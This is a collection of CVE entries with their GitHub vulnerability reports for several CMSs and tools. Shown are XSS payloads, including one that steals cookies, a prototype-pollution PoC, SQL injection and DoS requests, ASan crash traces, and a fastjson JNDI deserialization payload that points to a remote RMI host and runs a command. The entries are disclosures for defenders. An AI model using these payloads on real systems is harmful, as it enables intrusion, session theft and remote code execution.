Share the security vulnerabilities we found.
CC. @03sunf, @shpik-kr
vConsole Version: 3.15.0
# issue
https://github.com/Tencent/vConsole/blob/346ae6404c0881a9e18c904a63424df356da801e/src/core/core.ts#L519-L542
Possible prototype pollution due to incorrect key and value resolution in setOptions in core.ts.
# poc
```js
var vConsole = new window.VConsole();
vConsole.setOption("__proto__.foo","bar");
vConsole.setOption("__proto__.noOrig",1);
console.log(Object.prototype.foo);
``` | Prototype Pollution in core.ts | https://api.github.com/repos/Tencent/vConsole/issues/616/comments | 0 | 2023-04-04T04:11:15Z | 2023-06-14T03:04:33Z | https://github.com/Tencent/vConsole/issues/616 | 1,653,141,075 | 616 | 5,035 |
CVE-2023-30349 | 2023-04-27T14:15:09.320 | JFinal CMS v5.1.0 was discovered to contain a remote code execution (RCE) vulnerability via the ActionEnter function. | {
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"jflyfox",
"jfinal_cms"
] | jfinal_cms version：5.1.0
JDK version : jdk-8u351
The ActionEnter class is instantiated in the index method of the /ueditor route
The ConfigManager class is instantiated in the constructor of the ActionEnter class
The construction method of ConfigManager calls initEnv()
Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.
The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization
Run the tool on kali
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
```
payload:
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
"autoCommit":true
}
}
```
Replace with payload
Visit /ueditor, execute the command to pop up the calculator
| jfinal CMS v5.1.0 has a command execution vulnerability exists | https://api.github.com/repos/jflyfox/jfinal_cms/issues/54/comments | 5 | 2023-02-10T07:03:59Z | 2024-01-07T08:18:27Z | https://github.com/jflyfox/jfinal_cms/issues/54 | 1,579,105,443 | 54 | 5,036 |
CVE-2023-30338 | 2023-04-27T15:15:13.787 | Multiple stored cross-site scripting (XSS) vulnerabilities in Emlog Pro v2.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Article Title or Article Summary parameters. | {
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"emlog"
] | **Version(latest version)**
emlog_pro_2.0.3
**Actual behavior**
XSS vulnerabilities
**Steps to reproduce the behavior**
1.There is a stored xss in the article writing. The article body(文章正文) and article summary(文章摘要) has the vulnerability.
在写文章功能点，文章正文以及文章摘要处存在存储型xss
Go to the home page, the xss payload in article summary will be triggered first.
访问emlog首页，会先触发文章摘要中的xss
And after click the article, the xss in article body will be triggered.
之后点击该文章，会触发文章正文的xss
2. The vulnerability is in resources --> add resource classification, the classification name has the xss.
在资源-->添加资源分类中，分类名称存在xss漏洞
After add a new resource classification, upload a file at will, then the vulnerability will be triggered, and it works when reloading the `/admin/media.php` page
在新创建的资源分类下，上传任意图片，即可触发xss，并且重新加载`/admin/media.php`页面时也会触发xss
3.And there is also a xss in home page bottom information.
在首页底部信息处存在存储性xss
Save the settings, and go to home page.
保存设置后，访问主页，触发xss
| XSS vulnerabilities in pro2.0.3 | https://api.github.com/repos/emlog/emlog/issues/229/comments | 2 | 2023-03-31T02:58:46Z | 2023-10-27T04:26:32Z | https://github.com/emlog/emlog/issues/229 | 1,648,589,849 | 229 | 5,037 |
CVE-2023-29950 | 2023-04-27T20:15:40.207 | swfrender v0.9.2 was discovered to contain a heap buffer overflow in the function enumerateUsedIDs_fillstyle at modules/swftools.c | {
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"matthiaskramm",
"swftools"
] | # 1.heap-buffer-overflow
## env
ubuntu20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
swfrender - part of swftools 0.9.2
## sample
[id7_heap-buffer-overflow.zip](https://github.com/keepinggg/poc/blob/main/poc_of_swfrender/id7_heap-buffer-overflow.zip)
## crash
```
./swfrender id7_heap-buffer-overflow -o /dev/null
==1106906==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6070000003eb at pc 0x557c2e072578 bp 0x7ffd975b4940 sp 0x7ffd975b4930
READ of size 1 at 0x6070000003eb thread T0
#0 0x557c2e072577 in enumerateUsedIDs_fillstyle modules/swftools.c:509
#1 0x557c2e0728d1 in enumerateUsedIDs_styles modules/swftools.c:565
#2 0x557c2e05c7d9 in swf_ParseShapeData modules/swfshape.c:692
#3 0x557c2e06020d in swf_ShapeToShape2 modules/swfshape.c:884
#4 0x557c2e04c298 in extractDefinitions readers/swf.c:375
#5 0x557c2e04c298 in swf_open readers/swf.c:736
#6 0x557c2e04800a in main /mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender.c:174
#7 0x7f8c197fa082 in __libc_start_main ../csu/libc-start.c:308
#8 0x557c2e046ecd in _start (/mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender+0x24ecd)
0x6070000003eb is located 0 bytes to the right of 75-byte region [0x6070000003a0,0x6070000003eb)
allocated by thread T0 here:
#0 0x7f8c19c40808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x557c2e0e4ab9 in rfx_alloc /mnt/hgfs/ubuntu/cve/swftools/swftools-master/lib/mem.c:30
SUMMARY: AddressSanitizer: heap-buffer-overflow modules/swftools.c:509 in enumerateUsedIDs_fillstyle
Shadow bytes around the buggy address:
0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0c0e7fff8030: 00 00 00 00 00 00 03 fa fa fa fa fa 00 00 00 00
0x0c0e7fff8040: 00 00 00 00 03 fa fa fa fa fa 00 00 00 00 00 00
0x0c0e7fff8050: 00 00 03 fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0e7fff8060: 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 00 04
=>0x0c0e7fff8070: fa fa fa fa 00 00 00 00 00 00 00 00 00[03]fa fa
0x0c0e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1106906==ABORTING
```
# 2.negative-size-param
## env
ubuntu20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
swfrender - part of swftools 0.9.2
## sample
[id107_negative-size-param.zip](https://github.com/keepinggg/poc/blob/main/poc_of_swfrender/id107_negative-size-param.zip)
## crash
```
./swfrender id107_negative-size-param -o /dev/null
=1148866==ERROR: AddressSanitizer: negative-size-param: (size=-21465837888)
#0 0x7fe31237dfdd in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762
#1 0x559b516b3c75 in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71
#2 0x559b516b3c75 in newclip devices/render.c:538
#3 0x559b516b41e1 in render_startpage devices/render.c:936
#4 0x559b516348e1 in main /mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender.c:217
#5 0x7fe311fdd082 in __libc_start_main ../csu/libc-start.c:308
#6 0x559b51632ecd in _start (/mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender+0x24ecd)
0x7fe2fef21800 is located 0 bytes inside of 8998592-byte region [0x7fe2fef21800,0x7fe2ff7b66c0)
allocated by thread T0 here:
#0 0x7fe312423a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x559b516d0bc1 in rfx_calloc /mnt/hgfs/ubuntu/cve/swftools/swftools-master/lib/mem.c:69
SUMMARY: AddressSanitizer: negative-size-param ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 in __interceptor_memset
==1148866==ABORTING
```
# 3.heap-buffer-overflow
## env
ubuntu20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
swfrender - part of swftools 0.9.2
## sample
[id157_heap-buffer-overflow.zip](https://github.com/keepinggg/poc/blob/main/poc_of_swfrender/id157_heap-buffer-overflow.zip)
## crash
```
./swfrender id157_heap-buffer-overflow -o /dev/null
=1167329==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb50bafcc00 at pc 0x7fb50f696f3d bp 0x7fffa3c52d40 sp 0x7fffa3c524e8
WRITE of size 16 at 0x7fb50bafcc00 thread T0
#0 0x7fb50f696f3c in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762
#1 0x55ca7b7620cc in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71
#2 0x55ca7b7620cc in render_startpage devices/render.c:922
#3 0x55ca7b6e28e1 in main /mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender.c:217
#4 0x7fb50f2f6082 in __libc_start_main ../csu/libc-start.c:308
#5 0x55ca7b6e0ecd in _start (/mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender+0x24ecd)
0x7fb50bafcc00 is located 0 bytes to the right of 13906944-byte region [0x7fb50adb9800,0x7fb50bafcc00)
allocated by thread T0 here:
#0 0x7fb50f73c808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x55ca7b77eab9 in rfx_alloc /mnt/hgfs/ubuntu/cve/swftools/swftools-master/lib/mem.c:30
#2 0x7fb50f2f6082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 in __interceptor_memset
Shadow bytes around the buggy address:
0x0ff721757930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff721757980:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff721757990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1167329==ABORTING
``` | bug report -- swfrender | https://api.github.com/repos/swftools/swftools/issues/198/comments | 0 | 2023-03-23T06:44:18Z | 2023-03-23T06:44:18Z | https://github.com/swftools/swftools/issues/198 | 1,636,946,205 | 198 | 5,038 |
CVE-2023-29471 | 2023-04-27T21:15:10.710 | Lightbend Alpakka Kafka before 5.0.0 logs its configuration as debug information, and thus log files may contain credentials (if plain cleartext login is configured). This occurs in akka.kafka.internal.KafkaConsumerActor. | {
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] | github.com | [
"akka",
"alpakka-kafka"
] | ### Versions used
Akka version: 2.6.20
Akka Stream Kafka version: 3.0.1
### Expected Behavior
Credentials are not logged in the logs.
### Actual Behavior
Credentials from org.apache.kafka.common.security.plain.PlainLoginModule are logged as plaintext.
### Relevant logs
```
Creating Kafka consumer with akka.kafka.ConsumerSettings(properties=(auto.offset.reset,earliest),(bootstrap.servers,kafka:9092),(client.dns.lookup,use_all_dns_ips),(enable.auto.commit,false),(group.id,my-app),(max.poll.records,250),(sasl.jaas.config,org.apache.kafka.common.security.plain.PlainLoginModule required username='FOOBAR' password='FOOBAR';),(sasl.mechanism,PLAIN),(security.protocol,SASL_SSL),keyDeserializer=Some(org.apache.kafka.common.serialization.StringDeserializer@130dc346),valueDeserializer=Some(io.confluent.kafka.serializers.KafkaAvroDeserializer@1dca3f57),pollInterval=50 milliseconds,pollTimeout=50 milliseconds,stopTimeout=0 days,closeTimeout=20 seconds,commitTimeout=15 seconds,commitRefreshInterval=Duration.Inf,dispatcher=akka.kafka.default-dispatcher,commitTimeWarning=1 second,waitClosePartition=500 milliseconds,metadataRequestTimeout=5 seconds,drainingCheckInterval=30 milliseconds,connectionCheckerSettings=akka.kafka.ConnectionCheckerSettings(enable=false,maxRetries=3,checkInterval=15 seconds,factor=2.0),partitionHandlerWarning=5 secondsresetProtectionSettings=akka.kafka.OffsetResetProtectionSettings(enable=false,offsetThreshold=9223372036854775807,timeThreshold=100000 days)enrichAsync=None)
```
| akka.kafka.internal.KafkaConsumerActor logs credentials on debug level | https://api.github.com/repos/akka/alpakka-kafka/issues/1592/comments | 6 | 2023-01-12T10:23:29Z | 2023-05-02T07:23:36Z | https://github.com/akka/alpakka-kafka/issues/1592 | 1,530,463,547 | 1,592 | 5,039 |
CVE-2023-30123 | 2023-04-28T14:15:11.047 | wuzhicms v4.1.0 is vulnerable to Cross Site Scripting (XSS) in the Member Center, Account Settings. | {
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] | github.com | [
"wuzhicms",
"wuzhicms"
] | There is a Stored-XSS vulnerability in WUZHI CMS 4.1.0
Member Center - Account Settings
POC
The payload is `"><details/open/ontoggle=alert('/xss/')>`
Then login the management system！！
| There is a Stored-XSS vulnerability in WUZHI CMS 4.1.0 | https://api.github.com/repos/wuzhicms/wuzhicms/issues/205/comments | 0 | 2023-03-22T06:44:23Z | 2023-03-22T06:44:23Z | https://github.com/wuzhicms/wuzhicms/issues/205 | 1,635,153,937 | 205 | 5,040 |
CVE-2023-30125 | 2023-04-28T14:15:11.083 | EyouCms V1.6.1-UTF8-sp1 is vulnerable to Cross Site Scripting (XSS). | {
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"weng-xianhu",
"eyoucms"
] | Version： V1.6.1-UTF8-sp1
1. Go to the background --> Advertising management -->Add new ads
2. Then fill in the payload " <style onload=alert(document.cookie) />"in the ad content.
Open the tab Invocation and copy the invocation link,
Access link,Causes XSS to steal sensitive information of logged-in users
 | There is a xss causes XSS to steal sensitive information of logged-in users | https://api.github.com/repos/weng-xianhu/eyoucms/issues/40/comments | 0 | 2023-03-24T09:24:19Z | 2024-03-22T06:48:55Z | https://github.com/weng-xianhu/eyoucms/issues/40 | 1,639,023,869 | 40 | 5,041 |
CVE-2023-29815 | 2023-04-28T15:15:10.737 | mccms v2.6.3 is vulnerable to Cross Site Request Forgery (CSRF). | {
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] | github.com | [
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"mccms"
] | There are CSRF vulnerabilities in the website. The front desk can modify user information, and the background can add administrator accounts, modify the balance held by users, modify the website configuration and other dangerous operations. It is recommended to add CSRF TOKEN or verify referer to defend
| Under v2.6.3, your project has a CSRF vulnerability | https://api.github.com/repos/chshcms/mccms/issues/3/comments | 1 | 2023-03-12T14:55:06Z | 2023-03-18T03:24:14Z | https://github.com/chshcms/mccms/issues/3 | 1,620,394,263 | 3 | 5,042 |
CVE-2020-21643 | 2023-04-28T20:15:13.267 | Cross Site Scripting (XSS) vulnerability in HongCMS 3.0 allows attackers to run arbitrary code via the callback parameter to /ajax/myshop. | {
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Vulnerability location
-----------------------------------------------------------------------------------------------
<?php if(!defined('ROOT')) die('Access denied.');
class c_ajax extends SAjax{
public function myshop(){
//AJAX测试, JSONP解决跨域调用的问题
if(isset($_GET['callback']) AND $_GET['callback'] != ''){
$function = $_GET['callback'];
}else{
$function = false;
}
$arr = array('info' => '<div class="prompt">test</div>');
if($function){
echo $function . '(' . $this->json->encode($arr) . ')'; //jsonp返回数据的格式
}else{
echo $this->json->encode($arr); //json返回数据的格式
}
}
}
?>
-----------------------------------------------------------------------------------------------
POC：ajax/myshop?callback=%3Cimg%20src=1%20onerror=alert(1)%20/%3E
| HongCMS 3.0 - XSS vulnerability | https://api.github.com/repos/Neeke/HongCMS/issues/15/comments | 0 | 2019-12-25T07:22:31Z | 2019-12-25T07:22:31Z | https://github.com/Neeke/HongCMS/issues/15 | 542,278,848 | 15 | 5,043 |
CVE-2020-23647 | 2023-04-28T20:15:13.320 | Cross Site Scripting (XSS) vulnerability in BoxBilling 4.19, 4.19.1, 4.20, and 4.21 allows remote attackers to run arbitrary code via the message field on the submit new ticket form. | {
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"79"
] | 79 | https://github.com/boxbilling/boxbilling/issues/596 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"boxbilling",
"boxbilling"
] | There are multiple XSS vulnerabilities (support ticket, forum topics, and guest inquiries mentioned in #526 ). In this issue, I would demonstrate the Stored XSS that exists in a support ticket!
Method to reproduce :
1- Go to support and click on create a ticket
3- In the message field enter `<script>alert('test');</script>`
4- Click on Submit
### 💻 Technical Description *
if we look in `src/bb-modules/Support/html_client` file we do find the following javascript code which is responsible for making the API request. The javascript serialize the input fields and send a post request to `example.com/index.php?_url=/api/client/support/ticket_create`
```javacript
<script type="text/javascript">
$(function() {
$('#ticket-submit').bind('submit',function(event){
$('.wait').show();
bb.post(
'client/support/ticket_create',
$(this).serialize(),
function(result) {
bb.redirect('{{ 'support/ticket'|link }}' + '/' + result);
}
);
return false;
});
```
The request is received by `ticket_create` function in `/src/bb-modules/Support/Api/Client.php`. The only check in this function exists is for the required parameters.
```php
public function ticket_create($data)
{
$required = array(
'content' => 'Ticket content required',
'subject' => 'Ticket subject required',
'support_helpdesk_id' => 'Ticket support_helpdesk_id required',
);
$this->di['validator']->checkRequiredParamsForArray($required, $data);
$helpdesk = $this->di['db']->getExistingModelById('SupportHelpdesk', $data['support_helpdesk_id'], 'Helpdesk invalid');
$client = $this->getIdentity();
return $this->getService()->ticketCreateForClient($client, $helpdesk, $data);
}
```
Once it verifies that the provided data contains the required parameters, it combine the request with _client identity_ and _helpdesk id_ and sends its request to `ticketCreateForClient` function in `src/bb-modules/support/service.php`
```php
...
...
$ticket = $this->di['db']->dispense('SupportTicket');
$ticket->client_id = $client->id;
$ticket->subject = $data['subject'];
$ticket->support_helpdesk_id = $helpdesk->id;
$ticket->created_at = date('Y-m-d H:i:s');
$ticket->updated_at = date('Y-m-d H:i:s');
// related task with ticket
$ticket->rel_id = $rel_id;
$ticket->rel_type = $rel_type;
$ticket->rel_task = $rel_task;
$ticket->rel_new_value = $rel_new_value;
$ticket->rel_status = $rel_status;
$ticketId = $this->di['db']->store($ticket);
$this->messageCreateForTicket($ticket, $client, $data['content']);
...
}
```
It stores the subject and other ticket info in `support_ticket` table in database and sends the `content` to `messageCreateForTicket` function.
```php
public function messageCreateForTicket(\Model_SupportTicket $ticket, $identity, $content)
{
$msg = $this->di['db']->dispense('SupportTicketMessage');
$msg->support_ticket_id = $ticket->id;
if ($identity instanceof \Model_Admin) {
$msg->admin_id = $identity->id;
} elseif ($identity instanceof \Model_Client) {
$msg->client_id = $identity->id;
} else {
throw new \Box_Exception('Identity is not valid');
}
$msg->content = $content;
$msg->ip = $this->di['request']->getClientAddress();
$msg->created_at = date('Y-m-d H:i:s');
$msg->updated_at = date('Y-m-d H:i:s');
return $this->di['db']->store($msg);
}
```
The function basically stores the `content` value (which is the ticket body) in `support_ticket_message` table in the database!
which makes it stored cross-site scripting
**Reposting this from my original account**
**OLD Post [Issue#526](https://github.com/boxbilling/boxbilling/issues/526)**
| Multiple XSS Vulnerabilities | https://api.github.com/repos/boxbilling/boxbilling/issues/596/comments | 5 | 2020-06-18T10:32:46Z | 2020-11-29T08:16:59Z | https://github.com/boxbilling/boxbilling/issues/596 | 641,097,271 | 596 | 5,044 |
CVE-2023-26781 | 2023-04-28T20:15:13.827 | SQL injection vulnerability in mccms 2.6 allows remote attackers to run arbitrary SQL commands via Author Center ->Reader Comments ->Search. | {
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] | 89 | https://github.com/chshcms/mccms/issues/1 | [
"Exploit"
] | github.com | [
"chshcms",
"mccms"
] | Hello, we found that your project has a SQL injection vulnerability. The details are as follows.
1. **Vulnerability function point**
The function point exists in Author Center ->Reader Comments ->Search
2. **Vulnerability details**
Httpraw packet
```
POST /index.php/author/comment HTTP/1.1
Host: 192.168.43.227:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie:
Referer: http://192.168.43.227:81/index.php/author/comment
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
name=123&time=%5c%19%22%5c%28
```
Check the response after sending the packet, and you can see that the database has thrown an exception.
<img width="1268" alt="image" src="https://user-images.githubusercontent.com/27681113/217202333-24a518c2-cedb-46f9-a996-a21974e314de.png">
3. **Code audit**
According to the function route, we can locate the "sys/apps/controllers/author/comment. php" file,Continue, let's locate the input of the time parameter.The time parameter will be passed to $wh [] and then spliced into sqlstr to cause SQL injection.
<img width="866" alt="image" src="https://user-images.githubusercontent.com/27681113/217204014-bd2946e9-d732-4fe2-86f2-e5a6940848ec.png">
<img width="854" alt="image" src="https://user-images.githubusercontent.com/27681113/217204502-18ea00c1-4608-4fcd-976d-bb6579f3ebfd.png">
| SQL injection exists in your project | https://api.github.com/repos/chshcms/mccms/issues/1/comments | 1 | 2023-02-07T09:29:15Z | 2023-02-08T07:08:27Z | https://github.com/chshcms/mccms/issues/1 | 1,573,981,762 | 1 | 5,045 |
CVE-2023-26782 | 2023-04-28T20:15:13.883 | An issue discovered in mccms 2.6.1 allows remote attackers to cause a denial of service via Backend management interface ->System Configuration->Cache Configuration->Cache security characters. | {
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] | 94 | https://github.com/chshcms/mccms/issues/2 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"chshcms",
"mccms"
] | Hello, we found that your project has a denial of service vulnerability. Details are as follows.
1. Vulnerability Function Point
The function point exists in Backend management interface ->System Configuration->Cache Configuration->Cache security characters
2. Vulnerability details
Httpraw packet
```
POST /admin.php/setting/cache_save HTTP/1.1
Host: 172.20.10.3:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 297
Origin: http://172.20.10.3:81
Connection: close
Referer: http://172.20.10.3:81/admin.php/setting/cache
Cookie: mc_admin_id=972crMx4oruLsvSMuCQXg89E59IOc1gCMu4UbgT2; mc_admin_nichen=60e3ZaYNY8XyAN56ivxQjLyJIwtpFNMFPD2rXUJoIUJazlazXN4; mc_admin_login=89f0uw62E0x-cUBqH1lgtD4EbEsdytBZGLWhBDRRiwv2iT0vaJpingm4ylkt8PD4ndhPfLzwoCgMerpjnw
Cache_Mode=0&Cache_Rand=ygmjqw7jpia4aughbhj%5C&Cache_Mem_Ip=127.0.0.1a%2F%2F%2F%E9%8E%88'%22%5C(&Cache_Mem_Port=11211&Cache_Mem_Pass=()&Cache_Redis_Ip=127.0.0.1&Cache_Redis_Port=6379&Cache_Redis_Pass=()&Cache_Time_Index=1800&Cache_Time_List=3600&Cache_Time_Show=1&Cache_Time_Pic=3600&Cache_Time=72
```
When I add the “\” character after the Cache_Rand parameter, it can cause the site to not work properly.As you can see in the screenshot below, when you visit the website now, the response status code is already 500 and the website is no longer working properly.
3. Code audit
According to the function route, we can locate the "sys/apps/controllers/admin/Setting.php" file,Based on the function route, we can locate the cache_save function in the sys/apps/controllers/admin/Setting.php file.The Cache_Rand parameter passed in by the user is written to the cache.php file.
<img width="858" alt="image" src="https://user-images.githubusercontent.com/27681113/217463483-d694952e-4f83-4ce5-bc12-efa32b7333eb.png">
<img width="841" alt="image" src="https://user-images.githubusercontent.com/27681113/217463527-aaf99ac2-f3f0-4d53-81f7-99828d1a32b2.png">
Then we open the “sys/libs/cache.php” file.You can see that the “\” symbol is used as an escape character to escape the “'”symbol.
<img width="761" alt="image" src="https://user-images.githubusercontent.com/27681113/217464025-79dcab28-3c43-4aca-82da-4cd06d4acd21.png">
| There is a denial of service vulnerability in your project | https://api.github.com/repos/chshcms/mccms/issues/2/comments | 0 | 2023-02-08T07:36:35Z | 2023-02-08T07:36:35Z | https://github.com/chshcms/mccms/issues/2 | 1,575,632,920 | 2 | 5,046 |
CVE-2023-26813 | 2023-04-28T20:15:13.970 | SQL injection vulnerability in com.xnx3.wangmarket.plugin.dataDictionary.controller.DataDictionaryPluginController.java in wangmarket CMS 4.10 allows remote attackers to run arbitrary SQL commands via the TableName parameter to /plugin/dataDictionary/tableView.do. | {
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"xnx3",
"wangmarket"
] | wangmarket CMS version：v4.10
```
com.xnx3.wangmarket.plugin.dataDictionary.controller.DataDictionaryPluginController.java
```
The query statement directly brings the user's input into mysql for query without filtering, resulting in sql injection vulnerability
Sql injection vulnerability ： /plugin/dataDictionary/tableView.do?tableName=
sqlmap:
| wangmarket CMS v6.1 has a SQL injection | https://api.github.com/repos/xnx3/wangmarket/issues/7/comments | 2 | 2023-02-10T07:39:39Z | 2023-05-09T00:33:10Z | https://github.com/xnx3/wangmarket/issues/7 | 1,579,164,138 | 7 | 5,047 |
CVE-2023-31470 | 2023-04-28T21:15:09.307 | SmartDNS through 41 before 56d0332 allows an out-of-bounds write because of a stack-based buffer overflow in the _dns_encode_domain function in the dns.c file, via a crafted DNS request. | {
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] | github.com | [
"pymumu",
"smartdns"
] | Hello,
I'm writing to report a security vulnerability I've discovered, which affects all releases of SmartDNS. This vulnerability can be exploited by an attacker to cause a denial of service (crash) or remotely execute arbitrary code (RCE) on the server by crafting a special DNS request.
*Tested on:*
*Ubuntu 22.04.2 LTS*
*gcc version 11.3.0 (Ubuntu 11.3.0-1ubuntu1~22.04)*
*clang version 15.0.7*
**Technical Details:**
A stack buffer overflow vulnerability exists in the ***_dns_encode_domain*** function in the ***dns.c*** file, which can be triggered by crafting a DNS request that causes the program to write outside the bounds of the ***packet_buff*** variable.
You can find the AddressSanitizer (ASAN) output and the GDB backtrace from a production server below for your reference. If it helps confirm if the patches to your code fix the vulnerability, I can also share a trigger file containing a DNS payload that causes a crash with the project maintainer, and to ensure the security of this sensitive information, I will share the trigger file via a secure method, so it is not exposed publicly.
**ASAN Output:**
```
=================================================================
==2457317==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffdd8e at pc 0x000000305a31 bp 0x7fffffffaf00 sp 0x7fffffffaef8
WRITE of size 1 at 0x7fffffffdd8e thread T0
#0 0x305a30 in _dns_encode_domain /opt/smartdns/src/dns.c:298:11
#1 0x30bdea in _dns_add_qr_head /opt/smartdns/src/dns.c:461:12
#2 0x30bdea in _dns_add_rr_head /opt/smartdns/src/dns.c:509:8
#3 0x30bdea in dns_add_rr_nested_start /opt/smartdns/src/dns.c:568:8
#4 0x30bdea in dns_add_HTTPS_start /opt/smartdns/src/dns.c:1074:20
#5 0x30bdea in _dns_decode_HTTPS /opt/smartdns/src/dns.c:2007:2
#6 0x30bdea in _dns_decode_an /opt/smartdns/src/dns.c:2192:9
#7 0x30954d in _dns_decode_body /opt/smartdns/src/dns.c:2329:9
#8 0x30954d in dns_decode /opt/smartdns/src/dns.c:2469:8
#9 0x31750d in main /opt/smartdns/src/smartdns.c:49:13
#10 0x7ffff7c29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7ffff7c29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x2558d4 in _start (/opt/smartdns/src/smartdns+0x2558d4)
Address 0x7fffffffdd8e is located in stack of thread T0 at offset 6190 in frame
#0 0x316cdf in main /opt/smartdns/src/smartdns.c
This frame has 5 object(s):
[32, 6176) 'packet_buff' (line 45) <== Memory access at offset 6190 overflows this variable
[6432, 6436) 'rr_count' (line 53)
[6448, 6452) 'qtype' (line 54)
[6464, 6468) 'qclass' (line 55)
[6480, 6736) 'domain' (line 56)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /opt/smartdns/src/dns.c:298:11 in _dns_encode_domain
Shadow bytes around the buggy address:
0x10007fff7b60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7b70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7b90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007fff7ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
